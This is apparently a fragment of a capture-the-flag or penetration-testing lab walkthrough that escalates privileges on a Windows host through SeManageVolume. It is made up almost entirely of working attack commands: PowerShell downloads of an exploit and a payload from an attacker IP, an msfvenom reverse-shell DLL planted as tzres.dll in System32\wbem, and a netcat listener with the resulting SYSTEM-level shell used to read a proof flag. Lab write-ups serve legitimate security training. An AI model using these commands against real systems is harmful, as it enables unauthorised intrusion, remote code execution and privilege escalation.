$$Transfered exploit $Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.198/SeManageVolumeExploit.exe','C:\Users\svc_mssql\Desktop\SeManageVolumeExploit.exe')$#Created reverse shell and upload it into C:\Windows\System32\wbem\tzres.dll$msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.198 LPORT=1337 -f dll -o tzres.dll$Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.45.198/tzres.dll','C:\Windows\System32\wbem\tzres.dll')Once you have a listener, you trigger reverse shell with
$systeminfo$ $─$ rlwrap nc -nvlp 1337$listening on [any] 1337 ...$connect to [192.168.45.198] from (UNKNOWN) [192.168.112.187] 55523$Microsoft Windows [Version 10.0.17763.2746]$(c) 2018 Microsoft Corporation. All rights reserved.$ $C:\Windows\system32>whoami$whoami$nt authority\network service$ $C:\Windows\system32>cd \$cd \$ $C:>cd Users$cd Users$ $C:\Users>cd Administrator$cd Administrator$ $C:\Users\Administrator>cd Desktop$cd Desktop$ $C:\Users\Administrator\Desktop>type proof.txt$type proof.txt$238d769a1811d6b7feabf26abcf98a98